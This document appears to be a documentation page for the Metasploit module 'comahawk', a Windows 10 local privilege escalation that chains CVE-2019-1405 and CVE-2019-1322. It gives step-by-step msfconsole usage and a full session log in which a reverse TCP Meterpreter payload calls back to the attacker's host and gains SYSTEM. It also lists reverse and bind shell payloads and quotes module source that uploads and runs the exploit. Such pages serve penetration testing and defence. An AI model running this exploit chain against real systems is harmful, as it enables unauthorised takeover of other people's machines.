Microsoft UPnP Local Privilege Elevation Vulnerability - Metasploit
This page contains detailed information about how to use the exploit/windows/local/comahawk metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft UPnP Local Privilege Elevation Vulnerability
Module: exploit/windows/local/comahawk
Source code: modules/exploits/windows/local/comahawk.rb
Disclosure date: 2019-11-12
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-1322, CVE-2019-1405
This exploit uses two vulnerabilities to execute a command as an elevated user. The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to NT AUTHORITY\LOCAL SERVICE The second (CVE-2019-1322) leverages the Update Orchestrator Service to elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/comahawk
msf exploit(comahawk) > show targets
... a list of targets ...
msf exploit(comahawk) > set TARGET target-id
msf exploit(comahawk) > show options
... show and set options ...
msf exploit(comahawk) > set SESSION session-id
msf exploit(comahawk) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
This leverages two vulnerabilities on specific builds of Windows 10 to move from an authenticated user of any level to NT AUTHORITY\LOCAL SERVICE and then from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM. The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to NT AUTHORITY\LOCAL SERVICE The second (CVE-2019-1322) leverages the Update Orchestrator Service to elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
The exploit works by creating a new service, so the exploit may take up to minute on test systems, and may take longer in the wild. Adjusting the exploit_timeout value in the datastore.
Usage
- Create a session on the target system under the context of an authenticated user.
- Begin interacting with the module:
use exploit/windows/local/comahawk
. - Set the
PAYLOAD
and configure it correctly. - If an existing handler is configured to receive the elevated session, then the module's
handler should be disabled:
set DisablePayloadHandler true
. - Make sure that the
SESSION
value is set to the existing session identifier. - Invoke the module:
run
.
Scenarios
Windows 10 (10.0 Build 17134) x64
[*] Meterpreter session 1 opened (192.168.135.168:5555 -> 192.168.132.125:49674) at 2019-12-11 18:33:09 -0600
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/comahawk
msf5 exploit(windows/local/comahawk) > set versbose true
versbose => true
msf5 exploit(windows/local/comahawk) > set session 1
session => 1
msf5 exploit(windows/local/comahawk) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/comahawk) > set lhost 192.168.135.168
lhost => 192.168.135.168
msf5 exploit(windows/local/comahawk) > show options
Module options (exploit/windows/local/comahawk):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 yes The number of seconds to delay between file upload and exploit launch
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
EXPLOIT_TIMEOUT 60 yes The number of seconds to wait for exploit to finish running
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION 1 yes The session to run this module on.
WRITABLE_DIR no Path to write binaries (%TEMP% by default).
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
msf5 exploit(windows/local/comahawk) > run
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Attempting to PrivEsc on DESKTOP-D1E425Q via session ID: 1
[*] Exploit uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\TcpHnwmv.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\EubQLoJJbPMX.exe
[*] It may take a moment after the session is established for the exploit to exit safely.
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 2 opened (192.168.135.168:4444 -> 192.168.132.125:49679) at 2019-12-11 18:35:35 -0600
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/comahawk exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/comahawk
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/comahawk) > show info
Name: Microsoft UPnP Local Privilege Elevation Vulnerability
Module: exploit/windows/local/comahawk
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-11-12
Provided by:
NCC Group
hoangprod
bwatters-r7
Available targets:
Id Name
-- ----
0 Windows x64
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 yes The number of seconds to delay between file upload and exploit launch
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
EXPLOIT_TIMEOUT 60 yes The number of seconds to wait for exploit to finish running
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION yes The session to run this module on.
WRITABLE_DIR no Path to write binaries (%TEMP% by default).
Payload information:
Description:
This exploit uses two vulnerabilities to execute a command as an
elevated user. The first (CVE-2019-1405) uses the UPnP Device Host
Service to elevate to NT AUTHORITY\LOCAL SERVICE The second
(CVE-2019-1322) leverages the Update Orchestrator Service to elevate
from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-1322
https://nvd.nist.gov/vuln/detail/CVE-2019-1405
https://www.exploit-db.com/exploits/47684
https://github.com/apt69/COMahawk
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1
Module Options
This is a complete list of options available in the windows/local/comahawk exploit:
msf6 exploit(windows/local/comahawk) > show options
Module options (exploit/windows/local/comahawk):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 yes The number of seconds to delay between file upload and exploit launch
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
EXPLOIT_TIMEOUT 60 yes The number of seconds to wait for exploit to finish running
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION yes The session to run this module on.
WRITABLE_DIR no Path to write binaries (%TEMP% by default).
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
Advanced Options
Here is a complete list of advanced options supported by the windows/local/comahawk exploit:
msf6 exploit(windows/local/comahawk) > show advanced
Module advanced options (exploit/windows/local/comahawk):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/comahawk module can exploit:
msf6 exploit(windows/local/comahawk) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/comahawk exploit:
msf6 exploit(windows/local/comahawk) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/comahawk exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/comahawk) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <TEMP_PATH> does not exist on the target
- This exploit requires manual cleanup of the payload <PAYLOAD_PATH>
- Caught timeout. Exploit may be taking longer or it may have failed.
- Caught timeout. Exploit may be taking longer or it may have failed.
- Could not connect to session
- Exploit code is 64-bit only
- The exploit only supports Windows 10 build versions 17133-18362
- Unable to delete <PATH>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<TEMP_PATH> does not exist on the target
Here is a relevant code snippet related to the "<TEMP_PATH> does not exist on the target" error message:
76:
77: # Check target
78: vprint_status("Checking Target")
79: validate_active_host
80: validate_target
81: fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
82:
83: # Upload Exploit
84: vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
85: ensure_clean_destination(exploit_path)
86: exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe')
This exploit requires manual cleanup of the payload <PAYLOAD_PATH>
Here is a relevant code snippet related to the "This exploit requires manual cleanup of the payload <PAYLOAD_PATH>" error message:
90: # Upload Payload
91: vprint_status("Uploading Payload")
92: ensure_clean_destination(payload_path)
93: write_file(payload_path, payload_exe)
94: print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
95: print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
96:
97: # Run Exploit
98: vprint_status("Running Exploit")
99: print_status("It may take a moment after the session is established for the exploit to exit safely.")
100: begin
Caught timeout. Exploit may be taking longer or it may have failed.
Here is a relevant code snippet related to the "Caught timeout. Exploit may be taking longer or it may have failed." error message:
98: vprint_status("Running Exploit")
99: print_status("It may take a moment after the session is established for the exploit to exit safely.")
100: begin
101: cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
102: rescue Rex::TimeoutError => e
103: elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
104: print_error("Caught timeout. Exploit may be taking longer or it may have failed.")
105: end
106: vprint_status("Cleaning up #{exploit_path}")
107: ensure_clean_destination(exploit_path)
108: end
Caught timeout. Exploit may be taking longer or it may have failed.
Here is a relevant code snippet related to the "Caught timeout. Exploit may be taking longer or it may have failed." error message:
99: print_status("It may take a moment after the session is established for the exploit to exit safely.")
100: begin
101: cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
102: rescue Rex::TimeoutError => e
103: elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
104: print_error("Caught timeout. Exploit may be taking longer or it may have failed.")
105: end
106: vprint_status("Cleaning up #{exploit_path}")
107: ensure_clean_destination(exploit_path)
108: end
109:
Could not connect to session
Here is a relevant code snippet related to the "Could not connect to session" error message:
109:
110: def validate_active_host
111: begin
112: print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
113: rescue Rex::Post::Meterpreter::RequestError => e
114: elog('Could not connect to session', error: e)
115: raise Msf::Exploit::Failed, 'Could not connect to session'
116: end
117: end
118:
119: def validate_target
Exploit code is 64-bit only
Here is a relevant code snippet related to the "Exploit code is 64-bit only" error message:
116: end
117: end
118:
119: def validate_target
120: if sysinfo['Architecture'] == ARCH_X86
121: fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
122: end
123: sysinfo_value = sysinfo['OS']
124: build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
125: vprint_status("Build Number = #{build_num}")
126: unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362)
The exploit only supports Windows 10 build versions 17133-18362
Here is a relevant code snippet related to the "The exploit only supports Windows 10 build versions 17133-18362" error message:
122: end
123: sysinfo_value = sysinfo['OS']
124: build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
125: vprint_status("Build Number = #{build_num}")
126: unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362)
127: fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
128: end
129: end
130:
131: def ensure_clean_destination(path)
132: return unless file?(path)
Unable to delete <PATH>
Here is a relevant code snippet related to the "Unable to delete <PATH>" error message:
133:
134: print_status("#{path} already exists on the target. Deleting...")
135: begin
136: file_rm(path)
137: print_status("Deleted #{path}")
138: rescue Rex::Post::Meterpreter::RequestError => e
139: elog(e)
140: print_error("Unable to delete #{path}")
141: end
142: end
143: end
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #12693 Merged Pull Request: Windows comahawk priv esc
References
- CVE-2019-1322
- CVE-2019-1405
- EDB-47684
- https://github.com/apt69/COMahawk
- https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
- https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1
See Also
Related Nessus plugins:
- KB4517389: Windows 10 Version 1903 October 2019 Security Update
- KB4519338: Windows 10 Version 1809 and Windows Server 2019 October 2019 Security Update
- KB4520008: Windows 10 Version 1803 October 2019 Security Update
- KB4523205: Windows 10 Version 1809 and Windows Server 2019 November 2019 Security Update
- KB4524570: Windows 10 Version 1903 and Windows 10 Version 1909 November 2019 Security Update
- KB4525232: Windows 10 November 2019 Security Update
- KB4525239: Windows Server 2008 November 2019 Security Update
- KB4525233: Windows 7 and Windows Server 2008 R2 November 2019 Security Update
- KB4525236: Windows 10 Version 1607 and Windows Server 2016 November 2019 Security Update
- KB4525237: Windows 10 Version 1803 November 2019 Security Update
Authors
- NCC Group
- hoangprod
- bwatters-r7
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.